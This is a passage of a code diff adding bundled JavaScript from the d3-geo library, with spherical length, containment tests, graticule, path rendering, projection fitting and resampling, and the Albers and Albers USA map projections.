x0 = 0, + y0 = 0, + x1 = 960, + y1 = 500, + cache, + cacheStream, + clip; + + return clip = { + stream: function(stream) { + return cache && cacheStream === stream ? cache : cache = clipRectangle(x0, y0, x1, y1)(cacheStream = stream); + }, + extent: function(_) { + return arguments.length ? (x0 = +_[0][0], y0 = +_[0][1], x1 = +_[1][0], y1 = +_[1][1], cache = cacheStream = null, clip) : [[x0, y0], [x1, y1]]; + } + }; +} + +var lengthSum = adder(), + lambda0$2, + sinPhi0$1, + cosPhi0$1; + +var lengthStream = { + sphere: noop$2, + point: noop$2, + lineStart: lengthLineStart, + lineEnd: noop$2, + polygonStart: noop$2, + polygonEnd: noop$2 +}; + +function lengthLineStart() { + lengthStream.point = lengthPointFirst; + lengthStream.lineEnd = lengthLineEnd; +} + +function lengthLineEnd() { + lengthStream.point = lengthStream.lineEnd = noop$2; +} + +function lengthPointFirst(lambda, phi) { + lambda *= radians, phi *= radians; + lambda0$2 = lambda, sinPhi0$1 = sin$1(phi), cosPhi0$1 = cos$1(phi); + lengthStream.point = lengthPoint; +} + +function lengthPoint(lambda, phi) { + lambda *= radians, phi *= radians; + var sinPhi = sin$1(phi), + cosPhi = cos$1(phi), + delta = abs(lambda - lambda0$2), + cosDelta = cos$1(delta), + sinDelta = sin$1(delta), + x = cosPhi * sinDelta, + y = cosPhi0$1 * sinPhi - sinPhi0$1 * cosPhi * cosDelta, + z = sinPhi0$1 * sinPhi + cosPhi0$1 * cosPhi * cosDelta; + lengthSum.add(atan2(sqrt(x * x + y * y), z)); + lambda0$2 = lambda, sinPhi0$1 = sinPhi, cosPhi0$1 = cosPhi; +} + +function length$1(object) { + lengthSum.reset(); + geoStream(object, lengthStream); + return +lengthSum; +} + +var coordinates = [null, null], + object$1 = {type: "LineString", coordinates: coordinates}; + +function distance(a, b) { + coordinates[0] = a; + coordinates[1] = b; + return length$1(object$1); +} + +var containsObjectType = { + Feature: function(object, point) { + return containsGeometry(object.geometry, point); + }, + FeatureCollection: function(object, point) { + var features = object.features, i = -1, n = features.length; + while (++i < n) if (containsGeometry(features[i].geometry, point)) return true; + return false; + } +}; + +var containsGeometryType = { + Sphere: function() { + return true; + }, + Point: function(object, point) { + return containsPoint(object.coordinates, point); + }, + MultiPoint: function(object, point) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) if (containsPoint(coordinates[i], point)) return true; + return false; + }, + LineString: function(object, point) { + return containsLine(object.coordinates, point); + }, + MultiLineString: function(object, point) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) if (containsLine(coordinates[i], point)) return true; + return false; + }, + Polygon: function(object, point) { + return containsPolygon(object.coordinates, point); + }, + MultiPolygon: function(object, point) { + var coordinates = object.coordinates, i = -1, n = coordinates.length; + while (++i < n) if (containsPolygon(coordinates[i], point)) return true; + return false; + }, + GeometryCollection: function(object, point) { + var geometries = object.geometries, i = -1, n = geometries.length; + while (++i < n) if (containsGeometry(geometries[i], point)) return true; + return false; + } +}; + +function containsGeometry(geometry, point) { + return geometry && containsGeometryType.hasOwnProperty(geometry.type) + ? containsGeometryType[geometry.type](geometry, point) + : false; +} + +function containsPoint(coordinates, point) { + return distance(coordinates, point) === 0; +} + +function containsLine(coordinates, point) { + var ao, bo, ab; + for (var i = 0, n = coordinates.length; i < n; i++) { + bo = distance(coordinates[i], point); + if (bo === 0) return true; + if (i > 0) { + ab = distance(coordinates[i], coordinates[i - 1]); + if ( + ab > 0 && + ao <= ab && + bo <= ab && + (ao + bo - ab) * (1 - Math.pow((ao - bo) / ab, 2)) < epsilon2$1 * ab + ) + return true; + } + ao = bo; + } + return false; +} + +function containsPolygon(coordinates, point) { + return !!polygonContains(coordinates.map(ringRadians), pointRadians(point)); +} + +function ringRadians(ring) { + return ring = ring.map(pointRadians), ring.pop(), ring; +} + +function pointRadians(point) { + return [point[0] * radians, point[1] * radians]; +} + +function contains$1(object, point) { + return (object && containsObjectType.hasOwnProperty(object.type) + ? containsObjectType[object.type] + : containsGeometry)(object, point); +} + +function graticuleX(y0, y1, dy) { + var y = sequence(y0, y1 - epsilon$2, dy).concat(y1); + return function(x) { return y.map(function(y) { return [x, y]; }); }; +} + +function graticuleY(x0, x1, dx) { + var x = sequence(x0, x1 - epsilon$2, dx).concat(x1); + return function(y) { return x.map(function(x) { return [x, y]; }); }; +} + +function graticule() { + var x1, x0, X1, X0, + y1, y0, Y1, Y0, + dx = 10, dy = dx, DX = 90, DY = 360, + x, y, X, Y, + precision = 2.5; + + function graticule() { + return {type: "MultiLineString", coordinates: lines()}; + } + + function lines() { + return sequence(ceil(X0 / DX) * DX, X1, DX).map(X) + .concat(sequence(ceil(Y0 / DY) * DY, Y1, DY).map(Y)) + .concat(sequence(ceil(x0 / dx) * dx, x1, dx).filter(function(x) { return abs(x % DX) > epsilon$2; }).map(x)) + .concat(sequence(ceil(y0 / dy) * dy, y1, dy).filter(function(y) { return abs(y % DY) > epsilon$2; }).map(y)); + } + + graticule.lines = function() { + return lines().map(function(coordinates) { return {type: "LineString", coordinates: coordinates}; }); + }; + + graticule.outline = function() { + return { + type: "Polygon", + coordinates: [ + X(X0).concat( + Y(Y1).slice(1), + X(X1).reverse().slice(1), + Y(Y0).reverse().slice(1)) + ] + }; + }; + + graticule.extent = function(_) { + if (!arguments.length) return graticule.extentMinor(); + return graticule.extentMajor(_).extentMinor(_); + }; + + graticule.extentMajor = function(_) { + if (!arguments.length) return [[X0, Y0], [X1, Y1]]; + X0 = +_[0][0], X1 = +_[1][0]; + Y0 = +_[0][1], Y1 = +_[1][1]; + if (X0 > X1) _ = X0, X0 = X1, X1 = _; + if (Y0 > Y1) _ = Y0, Y0 = Y1, Y1 = _; + return graticule.precision(precision); + }; + + graticule.extentMinor = function(_) { + if (!arguments.length) return [[x0, y0], [x1, y1]]; + x0 = +_[0][0], x1 = +_[1][0]; + y0 = +_[0][1], y1 = +_[1][1]; + if (x0 > x1) _ = x0, x0 = x1, x1 = _; + if (y0 > y1) _ = y0, y0 = y1, y1 = _; + return graticule.precision(precision); + }; + + graticule.step = function(_) { + if (!arguments.length) return graticule.stepMinor(); + return graticule.stepMajor(_).stepMinor(_); + }; + + graticule.stepMajor = function(_) { + if (!arguments.length) return [DX, DY]; + DX = +_[0], DY = +_[1]; + return graticule; + }; + + graticule.stepMinor = function(_) { + if (!arguments.length) return [dx, dy]; + dx = +_[0], dy = +_[1]; + return graticule; + }; + + graticule.precision = function(_) { + if (!arguments.length) return precision; + precision = +_; + x = graticuleX(y0, y1, 90); + y = graticuleY(x0, x1, precision); + X = graticuleX(Y0, Y1, 90); + Y = graticuleY(X0, X1, precision); + return graticule; + }; + + return graticule + .extentMajor([[-180, -90 + epsilon$2], [180, 90 - epsilon$2]]) + .extentMinor([[-180, -80 - epsilon$2], [180, 80 + epsilon$2]]); +} + +function graticule10() { + return graticule()(); +} + +function interpolate$1(a, b) { + var x0 = a[0] * radians, + y0 = a[1] * radians, + x1 = b[0] * radians, + y1 = b[1] * radians, + cy0 = cos$1(y0), + sy0 = sin$1(y0), + cy1 = cos$1(y1), + sy1 = sin$1(y1), + kx0 = cy0 * cos$1(x0), + ky0 = cy0 * sin$1(x0), + kx1 = cy1 * cos$1(x1), + ky1 = cy1 * sin$1(x1), + d = 2 * asin(sqrt(haversin(y1 - y0) + cy0 * cy1 * haversin(x1 - x0))), + k = sin$1(d); + + var interpolate = d ? function(t) { + var B = sin$1(t *= d) / k, + A = sin$1(d - t) / k, + x = A * kx0 + B * kx1, + y = A * ky0 + B * ky1, + z = A * sy0 + B * sy1; + return [ + atan2(y, x) * degrees$1, + atan2(z, sqrt(x * x + y * y)) * degrees$1 + ]; + } : function() { + return [x0 * degrees$1, y0 * degrees$1]; + }; + + interpolate.distance = d; + + return interpolate; +} + +function identity$4(x) { + return x; +} + +var areaSum$1 = adder(), + areaRingSum$1 = adder(), + x00, + y00, + x0$1, + y0$1; + +var areaStream$1 = { + point: noop$2, + lineStart: noop$2, + lineEnd: noop$2, + polygonStart: function() { + areaStream$1.lineStart = areaRingStart$1; + areaStream$1.lineEnd = areaRingEnd$1; + }, + polygonEnd: function() { + areaStream$1.lineStart = areaStream$1.lineEnd = areaStream$1.point = noop$2; + areaSum$1.add(abs(areaRingSum$1)); + areaRingSum$1.reset(); + }, + result: function() { + var area = areaSum$1 / 2; + areaSum$1.reset(); + return area; + } +}; + +function areaRingStart$1() { + areaStream$1.point = areaPointFirst$1; +} + +function areaPointFirst$1(x, y) { + areaStream$1.point = areaPoint$1; + x00 = x0$1 = x, y00 = y0$1 = y; +} + +function areaPoint$1(x, y) { + areaRingSum$1.add(y0$1 * x - x0$1 * y); + x0$1 = x, y0$1 = y; +} + +function areaRingEnd$1() { + areaPoint$1(x00, y00); +} + +var x0$2 = Infinity, + y0$2 = x0$2, + x1 = -x0$2, + y1 = x1; + +var boundsStream$1 = { + point: boundsPoint$1, + lineStart: noop$2, + lineEnd: noop$2, + polygonStart: noop$2, + polygonEnd: noop$2, + result: function() { + var bounds = [[x0$2, y0$2], [x1, y1]]; + x1 = y1 = -(y0$2 = x0$2 = Infinity); + return bounds; + } +}; + +function boundsPoint$1(x, y) { + if (x < x0$2) x0$2 = x; + if (x > x1) x1 = x; + if (y < y0$2) y0$2 = y; + if (y > y1) y1 = y; +} + +// TODO Enforce positive area for exterior, negative area for interior? + +var X0$1 = 0, + Y0$1 = 0, + Z0$1 = 0, + X1$1 = 0, + Y1$1 = 0, + Z1$1 = 0, + X2$1 = 0, + Y2$1 = 0, + Z2$1 = 0, + x00$1, + y00$1, + x0$3, + y0$3; + +var centroidStream$1 = { + point: centroidPoint$1, + lineStart: centroidLineStart$1, + lineEnd: centroidLineEnd$1, + polygonStart: function() { + centroidStream$1.lineStart = centroidRingStart$1; + centroidStream$1.lineEnd = centroidRingEnd$1; + }, + polygonEnd: function() { + centroidStream$1.point = centroidPoint$1; + centroidStream$1.lineStart = centroidLineStart$1; + centroidStream$1.lineEnd = centroidLineEnd$1; + }, + result: function() { + var centroid = Z2$1 ? [X2$1 / Z2$1, Y2$1 / Z2$1] + : Z1$1 ? [X1$1 / Z1$1, Y1$1 / Z1$1] + : Z0$1 ? [X0$1 / Z0$1, Y0$1 / Z0$1] + : [NaN, NaN]; + X0$1 = Y0$1 = Z0$1 = + X1$1 = Y1$1 = Z1$1 = + X2$1 = Y2$1 = Z2$1 = 0; + return centroid; + } +}; + +function centroidPoint$1(x, y) { + X0$1 += x; + Y0$1 += y; + ++Z0$1; +} + +function centroidLineStart$1() { + centroidStream$1.point = centroidPointFirstLine; +} + +function centroidPointFirstLine(x, y) { + centroidStream$1.point = centroidPointLine; + centroidPoint$1(x0$3 = x, y0$3 = y); +} + +function centroidPointLine(x, y) { + var dx = x - x0$3, dy = y - y0$3, z = sqrt(dx * dx + dy * dy); + X1$1 += z * (x0$3 + x) / 2; + Y1$1 += z * (y0$3 + y) / 2; + Z1$1 += z; + centroidPoint$1(x0$3 = x, y0$3 = y); +} + +function centroidLineEnd$1() { + centroidStream$1.point = centroidPoint$1; +} + +function centroidRingStart$1() { + centroidStream$1.point = centroidPointFirstRing; +} + +function centroidRingEnd$1() { + centroidPointRing(x00$1, y00$1); +} + +function centroidPointFirstRing(x, y) { + centroidStream$1.point = centroidPointRing; + centroidPoint$1(x00$1 = x0$3 = x, y00$1 = y0$3 = y); +} + +function centroidPointRing(x, y) { + var dx = x - x0$3, + dy = y - y0$3, + z = sqrt(dx * dx + dy * dy); + + X1$1 += z * (x0$3 + x) / 2; + Y1$1 += z * (y0$3 + y) / 2; + Z1$1 += z; + + z = y0$3 * x - x0$3 * y; + X2$1 += z * (x0$3 + x); + Y2$1 += z * (y0$3 + y); + Z2$1 += z * 3; + centroidPoint$1(x0$3 = x, y0$3 = y); +} + +function PathContext(context) { + this._context = context; +} + +PathContext.prototype = { + _radius: 4.5, + pointRadius: function(_) { + return this._radius = _, this; + }, + polygonStart: function() { + this._line = 0; + }, + polygonEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._point = 0; + }, + lineEnd: function() { + if (this._line === 0) this._context.closePath(); + this._point = NaN; + }, + point: function(x, y) { + switch (this._point) { + case 0: { + this._context.moveTo(x, y); + this._point = 1; + break; + } + case 1: { + this._context.lineTo(x, y); + break; + } + default: { + this._context.moveTo(x + this._radius, y); + this._context.arc(x, y, this._radius, 0, tau$3); + break; + } + } + }, + result: noop$2 +}; + +var lengthSum$1 = adder(), + lengthRing, + x00$2, + y00$2, + x0$4, + y0$4; + +var lengthStream$1 = { + point: noop$2, + lineStart: function() { + lengthStream$1.point = lengthPointFirst$1; + }, + lineEnd: function() { + if (lengthRing) lengthPoint$1(x00$2, y00$2); + lengthStream$1.point = noop$2; + }, + polygonStart: function() { + lengthRing = true; + }, + polygonEnd: function() { + lengthRing = null; + }, + result: function() { + var length = +lengthSum$1; + lengthSum$1.reset(); + return length; + } +}; + +function lengthPointFirst$1(x, y) { + lengthStream$1.point = lengthPoint$1; + x00$2 = x0$4 = x, y00$2 = y0$4 = y; +} + +function lengthPoint$1(x, y) { + x0$4 -= x, y0$4 -= y; + lengthSum$1.add(sqrt(x0$4 * x0$4 + y0$4 * y0$4)); + x0$4 = x, y0$4 = y; +} + +function PathString() { + this._string = []; +} + +PathString.prototype = { + _radius: 4.5, + _circle: circle$1(4.5), + pointRadius: function(_) { + if ((_ = +_) !== this._radius) this._radius = _, this._circle = null; + return this; + }, + polygonStart: function() { + this._line = 0; + }, + polygonEnd: function() { + this._line = NaN; + }, + lineStart: function() { + this._point = 0; + }, + lineEnd: function() { + if (this._line === 0) this._string.push("Z"); + this._point = NaN; + }, + point: function(x, y) { + switch (this._point) { + case 0: { + this._string.push("M", x, ",", y); + this._point = 1; + break; + } + case 1: { + this._string.push("L", x, ",", y); + break; + } + default: { + if (this._circle == null) this._circle = circle$1(this._radius); + this._string.push("M", x, ",", y, this._circle); + break; + } + } + }, + result: function() { + if (this._string.length) { + var result = this._string.join(""); + this._string = []; + return result; + } else { + return null; + } + } +}; + +function circle$1(radius) { + return "m0," + radius + + "a" + radius + "," + radius + " 0 1,1 0," + -2 * radius + + "a" + radius + "," + radius + " 0 1,1 0," + 2 * radius + + "z"; +} + +function index$1(projection, context) { + var pointRadius = 4.5, + projectionStream, + contextStream; + + function path(object) { + if (object) { + if (typeof pointRadius === "function") contextStream.pointRadius(+pointRadius.apply(this, arguments)); + geoStream(object, projectionStream(contextStream)); + } + return contextStream.result(); + } + + path.area = function(object) { + geoStream(object, projectionStream(areaStream$1)); + return areaStream$1.result(); + }; + + path.measure = function(object) { + geoStream(object, projectionStream(lengthStream$1)); + return lengthStream$1.result(); + }; + + path.bounds = function(object) { + geoStream(object, projectionStream(boundsStream$1)); + return boundsStream$1.result(); + }; + + path.centroid = function(object) { + geoStream(object, projectionStream(centroidStream$1)); + return centroidStream$1.result(); + }; + + path.projection = function(_) { + return arguments.length ? (projectionStream = _ == null ? (projection = null, identity$4) : (projection = _).stream, path) : projection; + }; + + path.context = function(_) { + if (!arguments.length) return context; + contextStream = _ == null ? (context = null, new PathString) : new PathContext(context = _); + if (typeof pointRadius !== "function") contextStream.pointRadius(pointRadius); + return path; + }; + + path.pointRadius = function(_) { + if (!arguments.length) return pointRadius; + pointRadius = typeof _ === "function" ? _ : (contextStream.pointRadius(+_), +_); + return path; + }; + + return path.projection(projection).context(context); +} + +function transform(methods) { + return { + stream: transformer(methods) + }; +} + +function transformer(methods) { + return function(stream) { + var s = new TransformStream; + for (var key in methods) s[key] = methods[key]; + s.stream = stream; + return s; + }; +} + +function TransformStream() {} + +TransformStream.prototype = { + constructor: TransformStream, + point: function(x, y) { this.stream.point(x, y); }, + sphere: function() { this.stream.sphere(); }, + lineStart: function() { this.stream.lineStart(); }, + lineEnd: function() { this.stream.lineEnd(); }, + polygonStart: function() { this.stream.polygonStart(); }, + polygonEnd: function() { this.stream.polygonEnd(); } +}; + +function fit(projection, fitBounds, object) { + var clip = projection.clipExtent && projection.clipExtent(); + projection.scale(150).translate([0, 0]); + if (clip != null) projection.clipExtent(null); + geoStream(object, projection.stream(boundsStream$1)); + fitBounds(boundsStream$1.result()); + if (clip != null) projection.clipExtent(clip); + return projection; +} + +function fitExtent(projection, extent, object) { + return fit(projection, function(b) { + var w = extent[1][0] - extent[0][0], + h = extent[1][1] - extent[0][1], + k = Math.min(w / (b[1][0] - b[0][0]), h / (b[1][1] - b[0][1])), + x = +extent[0][0] + (w - k * (b[1][0] + b[0][0])) / 2, + y = +extent[0][1] + (h - k * (b[1][1] + b[0][1])) / 2; + projection.scale(150 * k).translate([x, y]); + }, object); +} + +function fitSize(projection, size, object) { + return fitExtent(projection, [[0, 0], size], object); +} + +function fitWidth(projection, width, object) { + return fit(projection, function(b) { + var w = +width, + k = w / (b[1][0] - b[0][0]), + x = (w - k * (b[1][0] + b[0][0])) / 2, + y = -k * b[0][1]; + projection.scale(150 * k).translate([x, y]); + }, object); +} + +function fitHeight(projection, height, object) { + return fit(projection, function(b) { + var h = +height, + k = h / (b[1][1] - b[0][1]), + x = -k * b[0][0], + y = (h - k * (b[1][1] + b[0][1])) / 2; + projection.scale(150 * k).translate([x, y]); + }, object); +} + +var maxDepth = 16, // maximum depth of subdivision + cosMinDistance = cos$1(30 * radians); // cos(minimum angular distance) + +function resample(project, delta2) { + return +delta2 ? resample$1(project, delta2) : resampleNone(project); +} + +function resampleNone(project) { + return transformer({ + point: function(x, y) { + x = project(x, y); + this.stream.point(x[0], x[1]); + } + }); +} + +function resample$1(project, delta2) { + + function resampleLineTo(x0, y0, lambda0, a0, b0, c0, x1, y1, lambda1, a1, b1, c1, depth, stream) { + var dx = x1 - x0, + dy = y1 - y0, + d2 = dx * dx + dy * dy; + if (d2 > 4 * delta2 && depth--) { + var a = a0 + a1, + b = b0 + b1, + c = c0 + c1, + m = sqrt(a * a + b * b + c * c), + phi2 = asin(c /= m), + lambda2 = abs(abs(c) - 1) < epsilon$2 || abs(lambda0 - lambda1) < epsilon$2 ? (lambda0 + lambda1) / 2 : atan2(b, a), + p = project(lambda2, phi2), + x2 = p[0], + y2 = p[1], + dx2 = x2 - x0, + dy2 = y2 - y0, + dz = dy * dx2 - dx * dy2; + if (dz * dz / d2 > delta2 // perpendicular projected distance + || abs((dx * dx2 + dy * dy2) / d2 - 0.5) > 0.3 // midpoint close to an end + || a0 * a1 + b0 * b1 + c0 * c1 < cosMinDistance) { // angular distance + resampleLineTo(x0, y0, lambda0, a0, b0, c0, x2, y2, lambda2, a /= m, b /= m, c, depth, stream); + stream.point(x2, y2); + resampleLineTo(x2, y2, lambda2, a, b, c, x1, y1, lambda1, a1, b1, c1, depth, stream); + } + } + } + return function(stream) { + var lambda00, x00, y00, a00, b00, c00, // first point + lambda0, x0, y0, a0, b0, c0; // previous point + + var resampleStream = { + point: point, + lineStart: lineStart, + lineEnd: lineEnd, + polygonStart: function() { stream.polygonStart(); resampleStream.lineStart = ringStart; }, + polygonEnd: function() { stream.polygonEnd(); resampleStream.lineStart = lineStart; } + }; + + function point(x, y) { + x = project(x, y); + stream.point(x[0], x[1]); + } + + function lineStart() { + x0 = NaN; + resampleStream.point = linePoint; + stream.lineStart(); + } + + function linePoint(lambda, phi) { + var c = cartesian([lambda, phi]), p = project(lambda, phi); + resampleLineTo(x0, y0, lambda0, a0, b0, c0, x0 = p[0], y0 = p[1], lambda0 = lambda, a0 = c[0], b0 = c[1], c0 = c[2], maxDepth, stream); + stream.point(x0, y0); + } + + function lineEnd() { + resampleStream.point = point; + stream.lineEnd(); + } + + function ringStart() { + lineStart(); + resampleStream.point = ringPoint; + resampleStream.lineEnd = ringEnd; + } + + function ringPoint(lambda, phi) { + linePoint(lambda00 = lambda, phi), x00 = x0, y00 = y0, a00 = a0, b00 = b0, c00 = c0; + resampleStream.point = linePoint; + } + + function ringEnd() { + resampleLineTo(x0, y0, lambda0, a0, b0, c0, x00, y00, lambda00, a00, b00, c00, maxDepth, stream); + resampleStream.lineEnd = lineEnd; + lineEnd(); + } + + return resampleStream; + }; +} + +var transformRadians = transformer({ + point: function(x, y) { + this.stream.point(x * radians, y * radians); + } +}); + +function transformRotate(rotate) { + return transformer({ + point: function(x, y) { + var r = rotate(x, y); + return this.stream.point(r[0], r[1]); + } + }); +} + +function scaleTranslate(k, dx, dy, sx, sy) { + function transform(x, y) { + x *= sx; y *= sy; + return [dx + k * x, dy - k * y]; + } + transform.invert = function(x, y) { + return [(x - dx) / k * sx, (dy - y) / k * sy]; + }; + return transform; +} + +function scaleTranslateRotate(k, dx, dy, sx, sy, alpha) { + var cosAlpha = cos$1(alpha), + sinAlpha = sin$1(alpha), + a = cosAlpha * k, + b = sinAlpha * k, + ai = cosAlpha / k, + bi = sinAlpha / k, + ci = (sinAlpha * dy - cosAlpha * dx) / k, + fi = (sinAlpha * dx + cosAlpha * dy) / k; + function transform(x, y) { + x *= sx; y *= sy; + return [a * x - b * y + dx, dy - b * x - a * y]; + } + transform.invert = function(x, y) { + return [sx * (ai * x - bi * y + ci), sy * (fi - bi * x - ai * y)]; + }; + return transform; +} + +function projection(project) { + return projectionMutator(function() { return project; })(); +} + +function projectionMutator(projectAt) { + var project, + k = 150, // scale + x = 480, y = 250, // translate + lambda = 0, phi = 0, // center + deltaLambda = 0, deltaPhi = 0, deltaGamma = 0, rotate, // pre-rotate + alpha = 0, // post-rotate angle + sx = 1, // reflectX + sy = 1, // reflectX + theta = null, preclip = clipAntimeridian, // pre-clip angle + x0 = null, y0, x1, y1, postclip = identity$4, // post-clip extent + delta2 = 0.5, // precision + projectResample, + projectTransform, + projectRotateTransform, + cache, + cacheStream; + + function projection(point) { + return projectRotateTransform(point[0] * radians, point[1] * radians); + } + + function invert(point) { + point = projectRotateTransform.invert(point[0], point[1]); + return point && [point[0] * degrees$1, point[1] * degrees$1]; + } + + projection.stream = function(stream) { + return cache && cacheStream === stream ? cache : cache = transformRadians(transformRotate(rotate)(preclip(projectResample(postclip(cacheStream = stream))))); + }; + + projection.preclip = function(_) { + return arguments.length ? (preclip = _, theta = undefined, reset()) : preclip; + }; + + projection.postclip = function(_) { + return arguments.length ? (postclip = _, x0 = y0 = x1 = y1 = null, reset()) : postclip; + }; + + projection.clipAngle = function(_) { + return arguments.length ? (preclip = +_ ? clipCircle(theta = _ * radians) : (theta = null, clipAntimeridian), reset()) : theta * degrees$1; + }; + + projection.clipExtent = function(_) { + return arguments.length ? (postclip = _ == null ? (x0 = y0 = x1 = y1 = null, identity$4) : clipRectangle(x0 = +_[0][0], y0 = +_[0][1], x1 = +_[1][0], y1 = +_[1][1]), reset()) : x0 == null ? null : [[x0, y0], [x1, y1]]; + }; + + projection.scale = function(_) { + return arguments.length ? (k = +_, recenter()) : k; + }; + + projection.translate = function(_) { + return arguments.length ? (x = +_[0], y = +_[1], recenter()) : [x, y]; + }; + + projection.center = function(_) { + return arguments.length ? (lambda = _[0] % 360 * radians, phi = _[1] % 360 * radians, recenter()) : [lambda * degrees$1, phi * degrees$1]; + }; + + projection.rotate = function(_) { + return arguments.length ? (deltaLambda = _[0] % 360 * radians, deltaPhi = _[1] % 360 * radians, deltaGamma = _.length > 2 ? _[2] % 360 * radians : 0, recenter()) : [deltaLambda * degrees$1, deltaPhi * degrees$1, deltaGamma * degrees$1]; + }; + + projection.angle = function(_) { + return arguments.length ? (alpha = _ % 360 * radians, recenter()) : alpha * degrees$1; + }; + + projection.reflectX = function(_) { + return arguments.length ? (sx = _ ? -1 : 1, recenter()) : sx < 0; + }; + + projection.reflectY = function(_) { + return arguments.length ? (sy = _ ? -1 : 1, recenter()) : sy < 0; + }; + + projection.precision = function(_) { + return arguments.length ? (projectResample = resample(projectTransform, delta2 = _ * _), reset()) : sqrt(delta2); + }; + + projection.fitExtent = function(extent, object) { + return fitExtent(projection, extent, object); + }; + + projection.fitSize = function(size, object) { + return fitSize(projection, size, object); + }; + + projection.fitWidth = function(width, object) { + return fitWidth(projection, width, object); + }; + + projection.fitHeight = function(height, object) { + return fitHeight(projection, height, object); + }; + + function recenter() { + var center = scaleTranslateRotate(k, 0, 0, sx, sy, alpha).apply(null, project(lambda, phi)), + transform = (alpha ? scaleTranslateRotate : scaleTranslate)(k, x - center[0], y - center[1], sx, sy, alpha); + rotate = rotateRadians(deltaLambda, deltaPhi, deltaGamma); + projectTransform = compose(project, transform); + projectRotateTransform = compose(rotate, projectTransform); + projectResample = resample(projectTransform, delta2); + return reset(); + } + + function reset() { + cache = cacheStream = null; + return projection; + } + + return function() { + project = projectAt.apply(this, arguments); + projection.invert = project.invert && invert; + return recenter(); + }; +} + +function conicProjection(projectAt) { + var phi0 = 0, + phi1 = pi$3 / 3, + m = projectionMutator(projectAt), + p = m(phi0, phi1); + + p.parallels = function(_) { + return arguments.length ? m(phi0 = _[0] * radians, phi1 = _[1] * radians) : [phi0 * degrees$1, phi1 * degrees$1]; + }; + + return p; +} + +function cylindricalEqualAreaRaw(phi0) { + var cosPhi0 = cos$1(phi0); + + function forward(lambda, phi) { + return [lambda * cosPhi0, sin$1(phi) / cosPhi0]; + } + + forward.invert = function(x, y) { + return [x / cosPhi0, asin(y * cosPhi0)]; + }; + + return forward; +} + +function conicEqualAreaRaw(y0, y1) { + var sy0 = sin$1(y0), n = (sy0 + sin$1(y1)) / 2; + + // Are the parallels symmetrical around the Equator? + if (abs(n) < epsilon$2) return cylindricalEqualAreaRaw(y0); + + var c = 1 + sy0 * (2 * n - sy0), r0 = sqrt(c) / n; + + function project(x, y) { + var r = sqrt(c - 2 * n * sin$1(y)) / n; + return [r * sin$1(x *= n), r0 - r * cos$1(x)]; + } + + project.invert = function(x, y) { + var r0y = r0 - y, + l = atan2(x, abs(r0y)) * sign(r0y); + if (r0y * n < 0) + l -= pi$3 * sign(x) * sign(r0y); + return [l / n, asin((c - (x * x + r0y * r0y) * n * n) / (2 * n))]; + }; + + return project; +} + +function conicEqualArea() { + return conicProjection(conicEqualAreaRaw) + .scale(155.424) + .center([0, 33.6442]); +} + +function albers() { + return conicEqualArea() + .parallels([29.5, 45.5]) + .scale(1070) + .translate([480, 250]) + .rotate([96, 0]) + .center([-0.6, 38.7]); +} + +// The projections must have mutually exclusive clip regions on the sphere, +// as this will avoid emitting interleaving lines and polygons. +function multiplex(streams) { + var n = streams.length; + return { + point: function(x, y) { var i = -1; while (++i < n) streams[i].point(x, y); }, + sphere: function() { var i = -1; while (++i < n) streams[i].sphere(); }, + lineStart: function() { var i = -1; while (++i < n) streams[i].lineStart(); }, + lineEnd: function() { var i = -1; while (++i < n) streams[i].lineEnd(); }, + polygonStart: function() { var i = -1; while (++i < n) streams[i].polygonStart(); }, + polygonEnd: function() { var i = -1; while (++i < n) streams[i].polygonEnd(); } + }; +} + +// A composite projection for the United States, configured by default for +// 960×500. The projection also works quite well at 960×600 if you change the +// scale to 1285 and adjust the translate accordingly. The set of standard +// parallels for each region comes from USGS, which is published here: +// http://egsc.usgs.gov/isb/pubs/MapProjections/projections.html#albers +function albersUsa() { + var cache, + cacheStream, + lower48 = albers(), lower48Point, + alaska = conicEqualArea().rotate([154, 0]).center([-2, 58.5]).parallels([55, 65]), alaskaPoint, // EPSG:3338 + hawaii = conicEqualArea().rotate([157, 0]).center([-3, 19.9]).parallels([8, 18]), hawaiiPoint, // ESRI:102007 + point, pointStream = {point: function(x, y) { point = [x, y]; }}; + + function albersUsa(coordinates) { + var x = coordinates[0], y = coordinates[1]; + return point = null, + (lower48Point.point(x, y), point) + || (alaskaPoint.point(x, y), point) + || (hawaiiPoint.point(x, y), point); + } + + albersUsa.invert = function(coordinates) { + var k = lower48.scale(), + t = lower48.translate(), + x = (coordinates[0] - t[0]) / k, + y = (coordinates[1] - t[1]) / k; + return (y >= 0.120 && y < 0.234 && x >= -0.425 && x < -0.214 ? alaska + : y >= 0.166 && y < 0.234 && x >= -0.214 && x < -0.115 ? hawaii + : lower48).invert(coordinates); + }; + + albersUsa.stream = function(stream) { + return cache && cacheStream === stream ? cache : cache = multiplex([lower48.stream(cacheStream = stream), alaska.stream(stream), hawaii.stream(stream)]); + }; + + albersUsa.precision = function(_) { + if (!arguments.length) return lower48.precision(); + lower48.precision(_), alaska.precision(_), hawaii.precision(_); + return reset(); + }; + + albersUsa.scale = function(_) { + if (!arguments.length) return lower48.scale(); + lower48.scale(_), alaska.scale(_ * 0.35), hawaii.scale(_); + return albersUsa.translate(lower48.translate()); + }; + + albersUsa.translate = function(_) { + if (!arguments.length) return lower48.translate(); + var k = lower48.scale(), x = +_[0], y = +_[1]; + + lower48Point = lower48 + .translate(_) + .clipExtent([[x - 0.455 * k, y - 0.238 * k], [x + 0.455 * k, y + 0.238 * k]]) + .stream(pointStream); + + alaskaPoint = alaska + .translate([x - 0.307 * k, y + 0.201 * k]) + .clipExtent([[x - 0.425 * k + epsilon$2, y + 0.120 * k + epsilon$2], [x - 0.214 * k - epsilon$2, y + 0.234 * k - epsilon$2]]) + .stream(pointStream); + + hawaiiPoint = hawaii + .translate([x - 0.205 * k, y + 0.212 * k]) + .clipExtent([[x - 0.214 * k + epsilon$2, y + 0.166 * k + epsilon$2], [x - 0.115 * k - epsilon$2, y + 0.234 * k - epsilon$2]]) + .stream(pointStream); + + return reset(); + }; + + albersUsa.fitExtent = function(extent, object) { + return fitExtent(albersUsa, extent, object); + }; + + albersUsa.fitSize = function(size, object) { + return fitSize(albersUsa, size, object); + }; + + albersUsa.fitWidth = function(width, object) { + return fitWidth(albersUsa, width, object); + }; + + albersUsa.fitHeight = function(height, object) { + return fitHeight(albersUsa, height, object); + }; + + function reset() { + cache = cacheStream = null; + return albersUsa; + } + + return albersUsa.scale(1070); +} + +function azimuthalRaw(scale) { + return function(x, y) { + var cx = 